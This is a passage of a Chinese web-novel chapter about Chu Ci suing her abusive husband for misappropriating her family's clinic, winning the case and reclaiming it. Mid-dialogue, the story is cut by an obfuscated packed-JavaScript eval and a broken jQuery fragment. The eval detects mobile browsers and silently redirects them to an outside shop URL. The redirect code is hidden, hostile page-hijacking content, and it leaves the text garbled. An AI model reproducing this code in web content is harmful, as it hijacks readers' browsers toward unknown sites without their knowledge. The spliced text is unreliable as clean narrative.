从上次白宏飞闹事被赶走之后,他就已经消停了好几天了。
这期间,陆明卉他们的营业执照也下来了。
陆□□卉不敢耽搁,她拿上抵押贷款所需要的材料直奔银行,成功递交了申请。
银行许诺他们会在5个工作日内核实资质,如果资质无误的话,将在10个工作日内下发款项。
等这一通跑下来,陆明卉悬着的心终于放到了肚子里,也有心情关注楚辞那里的进程了。
两人此时坐在商铺二楼客厅的沙发上,吹着风扇,吃着西瓜。两个孩子头挨着头,在卧室内睡午觉。
西瓜是楚辞刚出去送方言睿的时候买的,很甜。
陆明卉:“你联系律师了吗?”
楚辞吐掉嘴里的西瓜籽,“联系了。宋律师听说了我的情况之后,说白宏飞可能涉及财物侵占的问题,说这两天会过来,到时候我们详谈。”
宋莹是之前王法务给介绍的律师,主诉离婚官司,败诉率很低。
“财物侵占?”陆明卉不解。
楚辞擦了擦手,收拾桌上的瓜皮,“对啊,宋律师说仁医堂是我家家传,并不是夫妻共有财产,他将资质转到他名下的话,可能涉及到了财务侵占。”
陆明卉将一旁的垃圾桶递过来,“这个好定性吗?”
“麻烦就麻烦在这,”楚辞皱眉,“之前白宏飞是以经营不善的理由骗我卖掉祖宅,那会儿我又忙着照顾孩子,根本没留意签了什么,所以我也不太确定这个过程是不是合法,所以宋律师才说过来看一下。”
陆明卉:“那些文件你还能找得到吗?不会在白宏飞那里吧?”
楚辞:“一部分在我这,还有一部分应该在仁医堂,不过我会想办法拿到的。”
陆明卉点头,“代理费呢?你那里应该不够吧?宋律师要多少呢?我拿给你。”
楚辞摇了摇头,“不用了。”
陆明卉白了她一眼,“你跟我客气什么?”
“不是,”楚辞失笑,“是宋律师说了,如果涉及到财产侵占的问题话,她如果能帮我拿回财产,她将收取财产的百分之二作为代理费。”
“嘶——”陆明卉倒吸一口气。
“我之前可听王法务说了,他这师妹业务能力是没的说,就是贵。能让她放弃代理费,直接跟你要分成的话,你家这仁医堂……啧啧啧。”
“那可不,”楚辞毫不谦虚,“我家仁医堂要是没点底蕴,怎么敢传承这么多年?再说了,要是不值钱,那个人渣会死抓着不放?”
陆明卉往后一靠,“那倒也是。”
“等着吧,”楚辞拍了拍陆明卉,“等你辞姐发达了,我罩着你呀!”
这阵子楚辞变化很大,尤其是在跟宋律师聊了之后。在得知不但有可能跟渣男离婚,夺回仁医堂,甚至还能送渣男去坐牢之后,她的心态完全转变了。
从这些变化中,也可以窥见遭逢巨变前的楚辞,现在的她只不过是在变回原来的样子罢了。
“行,那我就等我辞姐罩我了。”陆明卉又指了指卧室,“不过辞姐,你那里就算没问题了,也要帮我一阵啊,最起码等我家立华回来。”
“那是自然。”
宋莹没让她们等太久,隔天下午就到了。
在看过楚辞手里的文件后,她的眉头紧锁,“还有其他的吗?”
楚辞:“剩下的应该在仁医堂,这些能看出问题吗?”
宋莹点了点桌上的文件,“能是能,但证据链不完整,最好是能找到其他的补充,目前你手里的证据不足以定性为财物侵占。”
“到时候对方提出异议,很可能会休庭再议。对方借此机会拖延时间,再销毁会有利于你的证据,我们就彻底陷入被动了。”
宋莹看着楚辞,“所以最优解就是你想办法拿到那些证据,我们争取一次将人渣钉在耻辱柱上,让他翻都翻不了身。”
楚辞咬牙,“放心,我一定会想办法拿到的。”
———
最近市场上有两件事引起了商户们的关注。
其一就是陆明卉他们的店铺终于开始动工了。因为是加盟代理,招牌和室内装修都是圣安负责的,也是圣安找的专业施工队,陆明卉主要负责监工。
其二就是楚辞要起诉白宏飞财务侵占。市场上的人们都非常好奇,本来他们以为楚辞会起诉离婚,却没想到是财物侵占,这下他们更加好奇事情的走向了。
其实不是楚辞不想起诉离婚,但宋莹说要是白宏飞否认感情破裂,坚决不同意离婚,那么法院很可能不会直接判离,再次提起诉讼要时隔半年。
但财务侵占不一样,就算是在他们婚姻存续期间,只要楚辞能下定决心,在证据链充足的情况下,肯定能把白宏飞送进去。
到那个时候,楚辞再提出离婚就顺理成章了,而且到时候也就没了阻碍了。
但一切的前提是,楚辞能下定决心送白宏飞进去。
毕竟她和白宏飞中间还有一个白雅妮,不考虑是非对错的话,还有人伦夹在中间。
然而让楚辞下定决心的正是白雅妮。
当时宋莹将事情的利弊都摆在了楚辞面前,提醒道:“有一点我要提醒你,你如果真的下定决心送白宏飞进去的话,因为他是白雅妮的直系亲属,之后你女儿不管是考公还是参军都没有可能了,这个你要想好了。”
“还有,”宋莹看了一下手表,“虽然现在说有些不合时宜,但我还要提前说清楚。”
“如果你确定我帮你诉财务侵占的话,咱们还是按照之前说的比例来。”
“但如果你要放弃诉讼的话,咱们之间的谈话就要按时薪来收费了。本次谈话共计2小时15分,看在师兄的面子上,给你算个优惠,收你300好了。”
“你的决定是什么呢?”宋莹的脸上带着漠然。
她见过太多人,那些苦主一开始都是信誓旦旦,但最后都是以这样或那样的理由选择放弃。
刚入行那两年,她也有过一时意气,想要帮助那些人,但到最后却是费力不讨好,沾染了一身腥。
所以现在她学会了漠然,尊重他人命运,不掺和他人因果,才是他们这行最该具有的品质。
楚辞肉眼可见的挣扎,她一开始没想这么多,只想拿回属于自己的仁医堂。但现在要拿回的代价是牺牲自己女儿可能的前途,她就有些犹豫。
“如果我们借此来要挟他呢?让他主动把仁医堂还给我有可能吗?”
楚辞上半身微微前倾,嘴角勉强牵出一抹弧度。
“你觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757915|206669||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得呢?”宋莹嗤笑一声,“如果让他知道了的话,估计第一件事就是销毁证据吧,到时候你只能落个鸡飞蛋打,人财两空的结果。不是吗?”
楚辞心里最后拿点侥幸都没有了,她肩膀塌了下来,双手捂住了脸。
但很快楚辞就调整了过来,深吸一口气。
“我要……”起诉白宏飞。
“妈妈,起诉吧!”
没等楚辞的话说完,白雅妮出声打断了她。
雅妮走到楚辞面前,认真的看着她,“妈妈,你教过我的,做错了事就要受到惩罚,爸爸做错了事情,也是一样的。”
楚辞蹲下身来看女儿,“如果他犯了错,会连累你呢?”
“如果能够让他受到惩罚的话,我愿意的。”雅妮上前一步抱住了楚辞,“我不喜欢他,他总是打妈妈,妈妈会很疼的。”
小孩子稚嫩的语言敲打楚辞的心房,让她整个人不受控制的颤抖起来。
是啊,小孩子都明白的道理。
做错事的人就该受到惩罚。
虽然对雅妮不太公平,但人不能选择自己的父母,这可能就是她必经的人生课题吧!
如果孩子长大要怨恨的话,那她也接受,但目前她想做的,就是将那人绳之以法。
———
官司胜诉那天是个大晴天。
陆明卉旁听了整个公开审理的过程,这对她来说是件新奇的体验。
她全程目睹了白宏飞从一开始的狡辩愤怒,到被拆穿后的痛哭求饶,真是丑陋。
在场的人没有一个可怜他,他自以为做得天衣无缝,殊不知天网恢恢,疏而不漏。
最终,白宏飞被勒令返还仁医堂以及变卖楚辞祖宅的所得,并被判处一年有期徒刑。
当法官宣判时,陆明卉看到楚辞喜极而泣,情绪激动的抱住了身旁的宋莹。
她也看到了白宏飞的面若死灰,还有他母亲瘫软在地的身影。
两相对比,好不快活。
但这也给陆明卉提了一个醒,任何人任何事都不可能凌驾于法律之上。
那些自以为是捷径的道路,实则通往了无法回头的深渊。
他们今后也要引以为戒,诚信经营,不能抱有任何侥幸心理,不然白宏飞的今天,就有可能是他们的明天。
楚辞的事情很快就告一段落,娘俩也从陆明卉家楼上搬了出去,现在俩人住在仁医堂。
陆明卉问过楚辞她今后打算怎么办,楚辞表示她会继续经营仁医堂。
她从小跟着父亲学习中医,又有卫校的毕业证书,差的只是经验积累。
虽然对这个好帮手很不舍,但陆明卉也明白,楚辞注定要在她的领域发光发热,于是置办了一大桌的酒菜庆祝楚辞新生。
她们还邀请了宋莹,但却被拒绝了。
宋莹表示钱货两讫,她也不爱热闹,如果还有案子上的需要,再找她就好了。
但不得不说,楚辞胜诉,宋莹可是狠狠的赚了一大笔啊!
但这也是人家应得的,每到这时,陆明卉就有些羡慕,知识的力量果然名不虚传。
欢欢喜喜的吃了一顿饭,送走楚辞娘俩后,陆明卉还有些伤感,结果伤感只持续到了第二天早上。
“明卉!明卉!”